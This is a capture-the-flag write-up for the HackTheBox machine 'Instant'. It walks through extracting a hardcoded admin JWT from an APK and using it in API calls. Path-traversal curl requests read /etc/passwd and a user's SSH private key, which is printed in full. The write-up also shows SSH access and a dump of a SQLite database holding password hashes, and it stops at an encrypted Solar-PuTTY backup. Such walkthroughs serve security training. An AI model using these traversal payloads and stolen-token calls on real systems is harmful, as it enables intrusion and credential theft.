Post

HackTheBox Instant

Writeup for HackTheBox Instant

HackTheBox Instant

Machine Synopsis

Instant is a medium difficulty machine that includes reverse engineering a mobile application, exploiting API endpoints, and cracking encrypted hashes and files. Players will analyze an APK to extract sensitive information and a hardcoded authorization token, then they will exploit an API endpoint vulnerable to Arbitrary File Read. Finally, they will achieve full system compromise by decrypting and analyzing encrypted session data from Solar-PuTTY. (Source)

Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
❯ nmap -p- --min-rate 10000 10.10.11.37

PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

❯ nmap -p 22,80 -sC -sV 10.10.11.37

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_  256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open  http    Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Lets add the domain to the /etc/hosts file.

1
echo -e '10.10.11.37\tinstant.htb' | sudo tee -a /etc/hosts

Lets check out the website.

webpage

Clicking Download Now downloads a APK file. Lets disassemble it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ apktool d instant.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.7.0-dirty on instant.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/shiro/.local/share/apktool/framework/1.apk
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

❯ cd instant
❯ ls
AndroidManifest.xml  META-INF  apktool.yml  assets  kotlin  lib  original  res  smali  unknown

Enumerating around the disassembled code, I managed to find some interesting data.

1
2
3
4
5
6
7
8
9
10
11
ls res/xml
backup_rules.xml  data_extraction_rules.xml  network_security_config.xml

❯ cat res/xml/network_security_config.xml
<?xml version="1.0" encoding="utf-8"?>
<network-security-config>
    <domain-config cleartextTrafficPermitted="true">
        <domain includeSubdomains="true">mywalletv1.instant.htb</domain>
        <domain includeSubdomains="true">swagger-ui.instant.htb</domain>
    </domain-config>
</network-security-config>%  

We found 2 new subdomains. Add these subdomains to the /etc/hosts file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ls smali/com/instantlabs/instant/
'AdminActivities$1.smali'         'LoginActivity$4$3.smali'    'R$color.smali'     'RegisterActivity$1.smali'    'TransactionActivity$1.smali'
 AdminActivities.smali            'LoginActivity$4.smali'      'R$drawable.smali'  'RegisterActivity$2.smali'    'TransactionActivity$2$1.smali'
'ForgotPasswordActivity$1.smali'   LoginActivity.smali         'R$id.smali'        'RegisterActivity$3$1.smali'  'TransactionActivity$2$2$1.smali'
 ForgotPasswordActivity.smali      MainActivity.smali          'R$layout.smali'    'RegisterActivity$3$2.smali'  'TransactionActivity$2$2.smali'
'LoginActivity$1.smali'           'ProfileActivity$1$1.smali'  'R$mipmap.smali'    'RegisterActivity$3$3.smali'  'TransactionActivity$2.smali'
'LoginActivity$2.smali'           'ProfileActivity$1$2.smali'  'R$string.smali'    'RegisterActivity$3.smali'     TransactionActivity.smali
'LoginActivity$3.smali'           'ProfileActivity$1.smali'    'R$style.smali'      RegisterActivity.smali
'LoginActivity$4$1.smali'         'ProfileActivity$2.smali'    'R$xml.smali'       'SplashActivity$1.smali'
'LoginActivity$4$2.smali'          ProfileActivity.smali        R.smali             SplashActivity.smali

❯ cat smali/com/instantlabs/instant/AdminActivities.smali
.class public Lcom/instantlabs/instant/AdminActivities;
.super Ljava/lang/Object;
.source "AdminActivities.java"
...
    const-string v2, "Authorization"

    const-string v3, "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA"
...

The string looks like a JWT token data. Decoding the string on jwt.io shows the following payload data.

1
2
3
4
5
6
{
  "id": 1,
  "role": "Admin",
  "walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db",
  "exp": 33259303656
}

Nice, it seems like we have a session token for an admin user.

Lets try to search for any interesting directories for the 2 new subdomains found.

1
2
3
4
5
6
7
8
9
10
❯ dirsearch -u "mywalletv1.instant.htb"
...
[12:07:17] 403 -  287B  - /server-status
[12:07:17] 403 -  287B  - /server-status/

❯ dirsearch -u "swagger-ui.instant.htb"
...
[12:07:02] 308 -  263B  - /apidocs  ->  http://swagger-ui.instant.htb/apidocs/
[12:07:31] 403 -  287B  - /server-status
[12:07:31] 403 -  287B  - /server-status/

Lets check out http://swagger-ui.instant.htb/apidocs/.

apidocs_webpage

Exploitation

Lets try to register as a user using the API.

Parameters required to register a user.

1
2
3
4
5
6
  {
    "email": "string",
    "password": "string",
    "pin": "string",
    "username": "string"
  }
1
2
3
4
5
6
7
8
9
❯ curl -X POST http://swagger-ui.instant.htb/api/v1/register \
-H "Content-Type: application/json" \
-d '{
  "username": "shiro",
  "email": "shiro@instant.htb",
  "password": "shiro",
  "pin": "12345"
}'
{"Description":"User Registered! Login Now!","Status":201}

Now lets login as the newly registered user.

Parameters required to login.

1
2
3
4
  {
    "password": "string",
    "username": "string"
  }
1
2
3
4
5
6
7
❯ curl -X POST http://swagger-ui.instant.htb/api/v1/login \
-H "Content-Type: application/json" \
-d '{
    "username": "shiro",
    "password": "shiro"
}'
{"Access-Token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Mywicm9sZSI6Imluc3RhbnRpYW4iLCJ3YWxJZCI6IjJlMzFjZWE3LTVlN2MtNDk5NC1iMWMwLTExMTlmMzYzNTRhZCIsImV4cCI6MTczODkwNjE5MX0.Vomcqv20XIQ85DFDs5ae0sRFJ87Z1UU9VJ-WUboudmQ","Status":201}

It seems like there is an Access-Token returned in the response. Lets decode it in jwt.io.

1
2
3
4
5
6
{
  "id": 3,
  "role": "instantian",
  "walId": "2e31cea7-5e7c-4994-b1c0-1119f36354ad",
  "exp": 1738906191
}

This looks similar to the admin JWT token we found previously during our enumeration phase.

Lets try to use the admin JWT token to call the API.

1
  /api/v1/admin/list/users
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ curl -X GET http://swagger-ui.instant.htb/api/v1/admin/list/users \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

{
  "Status": 200,
  "Users": [
    {
      "email": "admin@instant.htb",
      "role": "Admin",
      "secret_pin": 87348,
      "status": "active",
      "username": "instantAdmin",
      "wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
    },
    {
      "email": "shirohige@instant.htb",
      "role": "instantian",
      "secret_pin": 42845,
      "status": "active",
      "username": "shirohige",
      "wallet_id": "458715c9-b15e-467b-8a3d-97bc3fcf3c11"
    },
    {
      "email": "shiro@instant.htb",
      "role": "instantian",
      "secret_pin": 12345,
      "status": "active",
      "username": "shiro",
      "wallet_id": "2e31cea7-5e7c-4994-b1c0-1119f36354ad"
    }
  ]
}

There seems to be another user shirohige.

Lets view the logs via the API.

1
2
3
4
5
6
7
8
9
10
❯ curl -X GET http://swagger-ui.instant.htb/api/v1/admin/view/logs \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

{
  "Files": [
    "1.log"
  ],
  "Path": "/home/shirohige/logs/",
  "Status": 201
}

Lets read 1.log.

1
2
3
4
5
6
7
8
9
❯ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=1.log" \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

{
  "/home/shirohige/logs/1.log": [
    "This is a sample log testing\n"
  ],
  "Status": 201
}

Lets try a simple LFI for reading /etc/passwd.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
❯ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../../../etc/passwd" \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

{
  "/home/shirohige/logs/../../../etc/passwd": [
    "root:x:0:0:root:/root:/bin/bash\n",
    "daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\n",
    "bin:x:2:2:bin:/bin:/usr/sbin/nologin\n",
    "sys:x:3:3:sys:/dev:/usr/sbin/nologin\n",
    "sync:x:4:65534:sync:/bin:/bin/sync\n",
    "games:x:5:60:games:/usr/games:/usr/sbin/nologin\n",
    "man:x:6:12:man:/var/cache/man:/usr/sbin/nologin\n",
    "lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\n",
    "mail:x:8:8:mail:/var/mail:/usr/sbin/nologin\n",
    "news:x:9:9:news:/var/spool/news:/usr/sbin/nologin\n",
    "uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\n",
    "proxy:x:13:13:proxy:/bin:/usr/sbin/nologin\n",
    "www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\n",
    "backup:x:34:34:backup:/var/backups:/usr/sbin/nologin\n",
    "list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\n",
    "irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin\n",
    "_apt:x:42:65534::/nonexistent:/usr/sbin/nologin\n",
    "nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n",
    "systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin\n",
    "systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin\n",
    "dhcpcd:x:100:65534:DHCP Client Daemon,,,:/usr/lib/dhcpcd:/bin/false\n",
    "messagebus:x:101:102::/nonexistent:/usr/sbin/nologin\n",
    "systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin\n",
    "pollinate:x:102:1::/var/cache/pollinate:/bin/false\n",
    "polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin\n",
    "usbmux:x:103:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin\n",
    "sshd:x:104:65534::/run/sshd:/usr/sbin/nologin\n",
    "shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n",
    "_laurel:x:999:990::/var/log/laurel:/bin/false\n"
  ],
  "Status": 201
}

Lets try grabbing the SSH private key.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
❯ curl -X GET "http://swagger-ui.instant.htb/api/v1/admin/read/log?log_file_name=../.ssh/id_rsa" \
-H "Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" | jq

{
  "/home/shirohige/logs/../.ssh/id_rsa": [
    "-----BEGIN OPENSSH PRIVATE KEY-----\n",
    "b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\n",
    "NhAAAAAwEAAQAAAYEApbntlalmnZWcTVZ0skIN2+Ppqr4xjYgIrZyZzd9YtJGuv/w3GW8B\n",
    "nwQ1vzh3BDyxhL3WLA3jPnkbB8j4luRrOfHNjK8lGefOMYtY/T5hE0VeHv73uEOA/BoeaH\n",
    "dAGhQuAAsDj8Avy1yQMZDV31PHcGEDu/0dU9jGmhjXfS70gfebpII3js9OmKXQAFc2T5k/\n",
    "5xL+1MHnZBiQqKvjbphueqpy9gDadsiAvKtOA8I6hpDDLZalak9Rgi+BsFvBsnz244uCBY\n",
    "8juWZrzme8TG5Np6KIg1tdZ1cqRL7lNVMgo7AdwQCVrUhBxKvTEJmIzR/4o+/w9njJ3+WF\n",
    "uaMbBzOsNCAnXb1Mk0ak42gNLqcrYmupUepN1QuZPL7xAbDNYK2OCMxws3rFPHgjhbqWPS\n",
    "jBlC7kaBZFqbUOA57SZPqJY9+F0jttWqxLxr5rtL15JNaG+rDfkRmmMzbGryCRiwPc//AF\n",
    "Oq8vzE9XjiXZ2P/jJ/EXahuaL9A2Zf9YMLabUgGDAAAFiKxBZXusQWV7AAAAB3NzaC1yc2\n",
    "EAAAGBAKW57ZWpZp2VnE1WdLJCDdvj6aq+MY2ICK2cmc3fWLSRrr/8NxlvAZ8ENb84dwQ8\n",
    "sYS91iwN4z55GwfI+JbkaznxzYyvJRnnzjGLWP0+YRNFXh7+97hDgPwaHmh3QBoULgALA4\n",
    "/AL8tckDGQ1d9Tx3BhA7v9HVPYxpoY130u9IH3m6SCN47PTpil0ABXNk+ZP+cS/tTB52QY\n",
    "kKir426YbnqqcvYA2nbIgLyrTgPCOoaQwy2WpWpPUYIvgbBbwbJ89uOLggWPI7lma85nvE\n",
    "xuTaeiiINbXWdXKkS+5TVTIKOwHcEAla1IQcSr0xCZiM0f+KPv8PZ4yd/lhbmjGwczrDQg\n",
    "J129TJNGpONoDS6nK2JrqVHqTdULmTy+8QGwzWCtjgjMcLN6xTx4I4W6lj0owZQu5GgWRa\n",
    "m1DgOe0mT6iWPfhdI7bVqsS8a+a7S9eSTWhvqw35EZpjM2xq8gkYsD3P/wBTqvL8xPV44l\n",
    "2dj/4yfxF2obmi/QNmX/WDC2m1IBgwAAAAMBAAEAAAGARudITbq/S3aB+9icbtOx6D0XcN\n",
    "SUkM/9noGckCcZZY/aqwr2a+xBTk5XzGsVCHwLGxa5NfnvGoBn3ynNqYkqkwzv+1vHzNCP\n",
    "OEU9GoQAtmT8QtilFXHUEof+MIWsqDuv/pa3vF3mVORSUNJ9nmHStzLajShazs+1EKLGNy\n",
    "nKtHxCW9zWdkQdhVOTrUGi2+VeILfQzSf0nq+f3HpGAMA4rESWkMeGsEFSSuYjp5oGviHb\n",
    "T3rfZJ9w6Pj4TILFWV769TnyxWhUHcnXoTX90Tf+rAZgSNJm0I0fplb0dotXxpvWtjTe9y\n",
    "1Vr6kD/aH2rqSHE1lbO6qBoAdiyycUAajZFbtHsvI5u2SqLvsJR5AhOkDZw2uO7XS0sE/0\n",
    "cadJY1PEq0+Q7X7WeAqY+juyXDwVDKbA0PzIq66Ynnwmu0d2iQkLHdxh/Wa5pfuEyreDqA\n",
    "wDjMz7oh0APgkznURGnF66jmdE7e9pSV1wiMpgsdJ3UIGm6d/cFwx8I4odzDh+1jRRAAAA\n",
    "wQCMDTZMyD8WuHpXgcsREvTFTGskIQOuY0NeJz3yOHuiGEdJu227BHP3Q0CRjjHC74fN18\n",
    "nB8V1c1FJ03Bj9KKJZAsX+nDFSTLxUOy7/T39Fy45/mzA1bjbgRfbhheclGqcOW2ZgpgCK\n",
    "gzGrFox3onf+N5Dl0Xc9FWdjQFcJi5KKpP/0RNsjoXzU2xVeHi4EGoO+6VW2patq2sblVt\n",
    "pErOwUa/cKVlTdoUmIyeqqtOHCv6QmtI3kylhahrQw0rcbkSgAAADBAOAK8JrksZjy4MJh\n",
    "HSsLq1bCQ6nSP+hJXXjlm0FYcC4jLHbDoYWSilg96D1n1kyALvWrNDH9m7RMtS5WzBM3FX\n",
    "zKCwZBxrcPuU0raNkO1haQlupCCGGI5adMLuvefvthMxYxoAPrppptXR+g4uimwp1oJcO5\n",
    "SSYSPxMLojS9gg++Jv8IuFHerxoTwr1eY8d3smeOBc62yz3tIYBwSe/L1nIY6nBT57DOOY\n",
    "CGGElC1cS7pOg/XaOh1bPMaJ4Hi3HUWwAAAMEAvV2Gzd98tSB92CSKct+eFqcX2se5UiJZ\n",
    "n90GYFZoYuRerYOQjdGOOCJ4D/SkIpv0qqPQNulejh7DuHKiohmK8S59uMPMzgzQ4BRW0G\n",
    "HwDs1CAcoWDnh7yhGK6lZM3950r1A/RPwt9FcvWfEoQqwvCV37L7YJJ7rDWlTa06qHMRMP\n",
    "5VNy/4CNnMdXALx0OMVNNoY1wPTAb0x/Pgvm24KcQn/7WCms865is11BwYYPaig5F5Zo1r\n",
    "bhd6Uh7ofGRW/5AAAAEXNoaXJvaGlnZUBpbnN0YW50AQ==\n",
    "-----END OPENSSH PRIVATE KEY-----\n"
  ],
  "Status": 201
}

Copy the SSH key and format it properly so that we can use it.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
cat 600 id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Lets login to SSH service as shirohige.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
chmod 600 id_rsa
❯ dos2unix id_rsa
dos2unix: converting file test to Unix format..
❯ ssh shirohige@instant.htb -i id_rsa
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
shirohige@instant:~$ cat user.txt 
062226d8da4392ab61f87b045f101172

Privilege Escalation

Enumerating around shirohige home directory, we find an interesting db file located in the projects folder.

1
2
shirohige@instant:~/projects/mywallet/Instant-Api/mywallet/instance$ ls
instant.db

Lets grab the file.

1
2
3
4
❯ scp -i id_rsa shirohige@instant.htb:/home/shirohige/projects/mywallet/Instant-Api/mywallet/instance/instant.db ./

❯ file instant.db
instant.db: SQLite 3.x database, last written using SQLite version 3045001, file counter 14, database pages 9, cookie 0x3, schema 4, UTF-8, version-valid-for 14

It looks like a sqlite3 file. Lets dump the data.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
❯ sqlite3 instant.db .dump > instant.dmp
❯ cat instant.dmp
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE wallet_users (
	id INTEGER NOT NULL, 
	username VARCHAR, 
	email VARCHAR, 
	wallet_id VARCHAR, 
	password VARCHAR, 
	create_date VARCHAR, 
	secret_pin INTEGER, 
	role VARCHAR, 
	status VARCHAR, 
	PRIMARY KEY (id), 
	UNIQUE (username), 
	UNIQUE (email), 
	UNIQUE (wallet_id)
);
INSERT INTO wallet_users VALUES(1,'instantAdmin','admin@instant.htb','f0eca6e5-783a-471d-9d8f-0162cbc900db','pbkdf2:sha256:600000$I5bFyb0ZzD69pNX8$e9e4ea5c280e0766612295ab9bff32e5fa1de8f6cbb6586fab7ab7bc762bd978','2024-07-23 00:20:52.529887',87348,'Admin','active');
INSERT INTO wallet_users VALUES(2,'shirohige','shirohige@instant.htb','458715c9-b15e-467b-8a3d-97bc3fcf3c11','pbkdf2:sha256:600000$YnRgjnim$c9541a8c6ad40bc064979bc446025041ffac9af2f762726971d8a28272c550ed','2024-08-08 20:57:47.909667',42845,'instantian','active');
INSERT INTO wallet_users VALUES(3,'shiro','shiro@instant.htb','2e31cea7-5e7c-4994-b1c0-1119f36354ad','pbkdf2:sha256:600000$oPgSewShEXoPiSTY$5dd5decdf214cb758e08ccfca2c8e93e830d3ea4db8ce9502ab0463409dcec1f','2025-02-07 04:28:58.237445',12345,'instantian','active');
CREATE TABLE wallet_wallets (
	id INTEGER NOT NULL, 
	wallet_id VARCHAR, 
	balance INTEGER, 
	invite_token VARCHAR, 
	PRIMARY KEY (id), 
	UNIQUE (wallet_id), 
	UNIQUE (invite_token)
);
INSERT INTO wallet_wallets VALUES(1,'f0eca6e5-783a-471d-9d8f-0162cbc900db',10000000,'instant_admin_inv');
INSERT INTO wallet_wallets VALUES(2,'9f3a7cfc-f85a-43d0-84a2-2fd4e04212b3',0,'spideymonkey_spi');
INSERT INTO wallet_wallets VALUES(3,'0d02a551-8536-415e-8a08-8017a635a08f',0,'turafarugaro_tur');
INSERT INTO wallet_wallets VALUES(4,'abfc4bd6-e048-4b48-8e33-67d7fa0a6c80',0,'paulkapufi_kap');
INSERT INTO wallet_wallets VALUES(5,'458715c9-b15e-467b-8a3d-97bc3fcf3c11',0,'shirohige_shi');
INSERT INTO wallet_wallets VALUES(6,'2e31cea7-5e7c-4994-b1c0-1119f36354ad',0,'shiro_shi');
CREATE TABLE wallet_transactions (
	id INTEGER NOT NULL, 
	sender VARCHAR, 
	receiver VARCHAR, 
	amount VARCHAR, 
	txn_fee VARCHAR, 
	note VARCHAR, 
	status VARCHAR, 
	PRIMARY KEY (id)
);
COMMIT;

We found a hash for admin but there doesn’t seem to be a way to crack this hash.

Back to enumerating as shirohige, we managed to find an interesting file in the /opt directory.

1
2
3
4
5
6
7
8
shirohige@instant:/opt$ ls
backups
shirohige@instant:/opt$ cd backups/
shirohige@instant:/opt/backups$ ls
Solar-PuTTY
shirohige@instant:/opt/backups$ cd Solar-PuTTY/
shirohige@instant:/opt/backups/Solar-PuTTY$ ls
sessions-backup.dat

Lets grab this file.

1
2
3
4
5
6
7
❯ scp -i id_rsa shirohige@instant.htb:/opt/backups/Solar-PuTTY/sessions-backup.dat ./

❯ file sessions-backup.dat
sessions-backup.dat: ASCII text, with very long lines (1100), with no line terminators

❯ cat sessions-backup.dat
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/OzVAmNq0YO94RBxg9p4pwb4upKiVBhRY22HIZFzy6bMUw363zx6lxM4i9kvOB0bNd/4PXn3j3wVMVzpNxuKuSJOvv0fzY/ZjendafYt1Tz1VHbH4aHc8LQvRfW6Rn+5uTQEXyp4jE+ad4DuQk2fbm9oCSIbRO3/OKHKXvpO5Gy7db1njW44Ij44xDgcIlmNNm0m4NIo1Mb/2ZBHw/MsFFoq/TGetjzBZQQ/rM7YQI81SNu9z9VVMe1k7q6rDvpz1Ia7JSe6fRsBugW9D8GomWJNnTst7WUvqwzm29dmj7JQwp+OUpoi/j/HONIn4NenBqPn8kYViYBecNk19Leyg6pUh5RwQw8Bq+6/OHfG8xzbv0NnRxtiaK10KYh++n/Y3kC3t+Im/EWF7sQe/syt6U9q2Igq0qXJBF45Ox6XDu0KmfuAXzKBspkEMHP5MyddIz2eQQxzBznsgmXT1fQQHyB7RDnGUgpfvtCZS8oyVvrrqOyzOYl8f/Ct8iGbv/WO/SOfFqSvPQGBZnqC8Id/enZ1DRp02UdefqBejLW9JvV8gTFj94MZpcCb9H+eqj1FirFyp8w03VHFbcGdP+u915CxGAowDglI0UR3aSgJ1XIz9eT1WdS6EGCovk3na0KCz8ziYMBEl+yvDyIbDvBqmga1F+c2LwnAnVHkFeXVua70A4wtk7R3jn8+7h+3Evjc1vb